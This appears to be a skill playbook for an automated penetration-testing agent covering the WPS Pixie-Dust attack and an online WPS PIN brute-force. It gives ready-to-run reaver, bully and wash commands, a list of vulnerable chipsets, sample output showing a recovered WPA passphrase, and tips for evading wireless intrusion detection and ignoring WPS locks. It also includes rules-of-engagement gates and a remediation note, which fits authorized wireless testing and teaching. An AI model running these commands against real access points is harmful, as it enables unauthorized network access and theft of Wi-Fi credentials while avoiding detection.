wps-pixie-dust

# WPS Pixie-Dust + Online PIN Brute > Pixie-Dust is a single-association offline attack — quiet by > wireless IDS standards. Online brute is loud, triggers lockout on > most modern APs, and should be gated behind `posture=loud`. When > Pixie-Dust succeeds, reaver returns the full WPA PSK directly — > no handshake capture or hashcat cracking required. ## Prerequisites - Monitor-mode adapter. - Tools: `wash`, `reaver`, `bully`, `pixiewps` (installed as reaver dependency on Kali). - Target AP must have WPS enabled (check with `wash`). ## Step 1 — Enumerate WPS-enabled APs ```bash # Scan for WPS-enabled APs on all channels sudo wash -i <mon-iface> --ignore-fcs 2>/dev/null # Key columns in wash output: # BSSID | Ch | dBm | WPS | Lck | Vendor | ESSID # WPS = WPS version (1.0 / 2.0) # Lck = WPS Locked (Yes/No) — locked APs resist online brute; # Pixie-Dust may still work if the nonce is weak. # Targeted scan on a single channel sudo wash -i <mon-iface> -c <CHANNEL> --ignore-fcs 2>/dev/null ``` ## Step 2 — Pixie-Dust (preferred, OPSEC-quiet) The Pixie-Dust attack exploits weak or reused ES1/ES2 nonces in the WPS EAP exchange. The AP sends both nonces during PIN verification; if they are pseudo-random (common on Ralink/Realtek/Broadcom chipsets from 2010–2018), pixiewps recovers the PIN offline from a single exchange (~1–5 seconds). ```bash # Pixie-Dust with reaver (-K 1 enables pixiewps mode) sudo reaver -i <mon-iface> -b <BSSID> -c <CHANNEL> \ -K 1 -vv -N # -K 1 : enable Pixie-Dust (pixiewps) # -vv : verbose output showing nonces and PIN # -N : do not send NACK (reduces retransmissions) # Successful output looks like: # [+] WPS PIN: '12345670' # [+] WPA PSK: 'SuperSecretPass99' # [+] AP SSID: 'TargetSSID' ``` ```bash # Alternative: bully with Pixie-Dust sudo bully <mon-iface> -b <BSSID> -c <CHANNEL> -d -v 3 # -d : enable Pixie-Dust mode # -v 3: verbose level 3 ``` **Pixie-vulnerable chipsets (non-exhaustive):** | Chipset / Vendor | Vulnerability | |---|---| | Ralink RT2860/RT3070 | ES1=ES2=0x00…00 (zero nonce) | | Realtek RTL8188 | Reused nonces across sessions | | Broadcom BCM4325/BCM4329 | Predictable PRF seed | | Atheros AR9271 | Session-invariant nonces on some firmware | | MediaTek MT7612 (pre-2017) | Weak PRNG | Patched or unaffected: modern Intel, Qualcomm Atheros post-2018, most WPA3-capable APs with WPS 2.0.4+. ## Step 3 — Fallback online PIN brute (posture=loud only) If Pixie-Dust fails (nonces are random), fall back to online PIN brute. The WPS PIN space is 10^8 but the last digit is a checksum, and the verifier splits the PIN: M1–M4 test the first 4 digits (10^4 = 10000 attempts), M5–M7 test the last 3+checksum (10^3 = 1000 attempts). Total: ~11,000 attempts. ```bash # Online brute with reaver sudo reaver -i <mon-iface> -b <BSSID> -c <CHANNEL> \ -vv --delay=1 --lock-delay=60 # --delay=1 : 1s between attempts (reduces lockout) # --lock-delay=60: wait 60s when AP locks WPS # Online brute with bully (better lockout handling) sudo bully <mon-iface> -b <BSSID> -c <CHANNEL> \ --pixiewps-dir /usr/share/bully \ -d -S -F -B -v 3 ``` **RoE gate for online brute:** ``` HARD STOP: online WPS brute requires posture=loud in RoE. - Generates ~11,000 EAP-WPS associations → extremely loud. - Many APs lock WPS after 3–5 failed attempts (WPS Locked = Yes in wash). - Some APs brick WPS permanently after repeated lockouts. - Confirm target AP is in scope and WPS DoS/lockout is an accepted risk. ``` ## Step 4 — On PIN recovery When either method recovers the PIN, reaver/bully print the PSK: ```bash # If PIN is known but PSK needs re-extraction (e.g., AP rebooted): sudo reaver -i <mon-iface> -b <BSSID> -c <CHANNEL> -p <known_PIN> -vv ``` ## Evidence ```python kg_add_node( kind="credential", label=f"WiFi PSK for {ssid} (WPS Pixie-Dust)", props={ "key": f"wifi-psk::{bssid}", "secret_type": "wpa_psk", "ssid": ssid, "bssid": bssid, "psk": psk, "wps_pin": pin, "attack_path": "wps-pixie-dust", "recovered_at": "<iso8601>", "source": "reaver+pixiewps", }, ) kg_add_node( kind="finding", label="WPS Pixie-Dust Susceptible", props={ "key": f"wps-pixie-dust::{bssid}", "severity": "critical", "wps_version": wps_version, "chipset_guess": chipset, "remediation": ( "Disable WPS entirely on the AP. If WPS must remain enabled, " "upgrade firmware; WPS 2.0.4+ with secure random nonces mitigates " "Pixie-Dust. Disable WPS PIN method; keep only WPS Push-Button " "with physical access requirement." ), }, ) ``` ## ZFP 1. Pcap of the WPS EAP exchange (airodump running during reaver — `cap-01.cap`). 2. reaver / bully console output showing PIN + PSK recovery line. 3. Optionally: `pixiewps -e <ES1> -r <ES2> ...` output showing offline nonce extraction. ## OPSEC notes - Pixie-Dust is a **single WPS association** — generates one EAP-WPS exchange. Most WIDS do not alert on a single WPS attempt. - Online PIN brute generates hundreds to thousands of associations — visible in WIDS, triggers WPS lockout, and may corrupt WPS state. - WPS Locked (`Lck=Yes` in wash) does NOT prevent Pixie-Dust; it only blocks further PIN attempts after the current session. - Running reaver on a WPS-locked AP with Pixie-Dust: add `--ignore-locks`. ## References - Dominique Bongard, "Offline bruteforce attack on WiFi Protected Setup" (PixieDust, 2014). - pixiewps: github.com/wiire-a/pixiewps - reaver-wps-fork-t6x: github.com/t6x/reaver-wps-fork-t6x - bully: github.com/nicowillis/bully - `wpa2-psk` skill — alternative PSK capture if WPS fails.